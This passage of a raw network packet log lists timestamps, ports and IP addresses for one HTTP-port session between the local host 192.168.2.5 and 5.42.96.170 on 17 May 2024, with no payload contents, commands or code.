May 17, 2024 23:45:15.919970989 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919979095 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919989109 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.919998884 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.920023918 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.920094013 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.920106888 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.920115948 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.920124054 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.920130968 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.920144081 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.920149088 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.920156956 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.920166969 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.920176029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.920185089 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.920193911 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.920202971 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.920231104 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.920231104 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.920231104 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.920231104 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.920239925 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.920248985 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.920258045 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.920268059 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.920277119 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.920286894 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.920296907 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.920296907 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.920296907 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.920296907 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.920308113 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.920368910 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.920368910 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.920368910 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.920993090 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921080112 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.921134949 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921144962 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921154022 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921164036 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921271086 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.921271086 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.921299934 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921309948 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921319008 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921329021 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921336889 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921346903 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921355963 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921371937 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.921371937 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.921413898 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.921437025 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921447039 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921456099 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921467066 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921474934 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921484947 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921494007 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921524048 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.921524048 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.921529055 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.921529055 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.921540976 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921550989 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921559095 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921567917 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921577930 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921587944 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921598911 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921607018 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.921607018 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.921607971 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.921617985 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.921628952 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.921659946 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.921659946 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.922282934 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.922293901 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.922302008 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.922307014 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.922313929 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.922322989 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.922338009 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.922346115 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.922355890 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.922364950 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.922374010 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.922383070 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.922394037 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.922401905 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.922411919 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.922420979 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.922429085 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.922429085 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.922429085 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.922429085 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.922441006 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.922451019 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.922460079 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.922467947 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.922477961 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.922492027 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.922497034 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.922497034 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.922497034 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.922508001 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.922518015 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.922527075 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.922527075 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.922657967 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.922657967 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.923100948 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923110962 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923119068 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923129082 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923139095 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923176050 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.923183918 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.923378944 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923388958 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923398018 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923407078 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923418045 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923429012 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923438072 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923451900 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.923451900 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.923456907 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923470020 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923475027 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.923482895 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923505068 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.923518896 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.923526049 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923536062 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923543930 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923552036 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923561096 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923566103 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923574924 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923584938 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923597097 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.923597097 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.923597097 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.923597097 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.923604965 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923614979 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923625946 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.923629999 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923640013 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923649073 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923660040 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.923693895 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.923693895 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.923693895 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.923784971 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.924365044 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.924376011 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.924386024 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.924396038 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.924405098 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.924413919 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.924422026 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.924431086 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.924438953 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.924449921 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.924458981 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.924468040 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.924489975 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.924489975 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.924489975 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.924506903 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.924515963 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.924525023 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.924535036 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.924545050 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.924554110 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.924562931 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.924578905 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.924587965 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.924599886 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.924599886 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.924599886 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.924599886 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.924616098 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.924627066 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.924634933 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.924648046 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.924654961 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.924654961 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.924654961 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.924690008 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.924690008 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.925307035 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925317049 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925324917 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925359964 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.925436974 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.925453901 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925463915 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925472021 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925482035 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925519943 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.925519943 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.925519943 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.925534964 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925609112 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.925618887 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925627947 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925636053 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925641060 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925645113 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925649881 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925659895 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925669909 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925682068 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925687075 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.925687075 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.925697088 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925705910 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925714016 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.925714016 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.925724983 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925734043 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925744057 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925754070 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925761938 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.925761938 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.925780058 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925791025 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925798893 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925807953 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925817013 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.925817013 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.925832033 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.925865889 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.925956964 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.925956964 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.926502943 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.926512957 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.926522017 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.926531076 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.926539898 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.926548958 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.926558018 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.926567078 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.926574945 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.926592112 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.926606894 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.926615000 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.926625967 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.926635027 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.926645041 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.926654100 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.926664114 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.926671982 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.926671982 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.926671982 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.926687956 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.926697016 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.926706076 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.926712036 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.926723003 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.926723003 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.926728964 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.926739931 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.926748991 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.926759958 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.926769972 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.926780939 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.926796913 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.926796913 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.926796913 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.926877022 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.927263021 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927413940 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.927479029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927488089 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927495956 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927504063 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927512884 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927521944 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927531958 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927541018 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927550077 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927560091 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927570105 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927584887 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.927584887 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.927584887 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.927584887 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.927594900 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927599907 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927603960 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927608967 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927617073 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927622080 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927638054 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927649021 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927659035 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927669048 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927680016 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927690029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927700043 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927710056 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927720070 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.927720070 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.927720070 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.927720070 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.927731991 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.927786112 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.927786112 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.927786112 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.928430080 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.928440094 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.928447962 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.928452969 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.928462029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.928472996 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.928482056 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.928492069 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.928502083 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.928515911 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.928525925 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.928525925 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.928525925 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.928525925 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.928525925 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.928539038 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.928548098 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.928555965 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.928560972 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.928569078 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.928579092 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.928590059 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.928590059 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.928590059 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.928599119 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.928607941 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.928617001 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.928626060 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.928636074 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.928646088 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.928659916 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.928666115 CEST	49707	80	192.168.2.5	5.42.96.170
